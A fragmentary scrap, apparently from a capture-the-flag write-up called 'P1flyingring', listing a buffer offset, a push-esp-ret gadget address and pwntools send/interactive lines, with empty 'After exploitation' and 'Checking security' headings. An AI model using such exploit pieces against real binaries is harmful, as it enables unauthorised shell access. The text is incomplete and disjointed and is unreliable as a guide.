P1flyingring

offset = 0x44 push_esp_ret = 0x0804858a

p.send(payload) p.interactive()

Address: 0x0804858a .

After exploitation:

Checking security: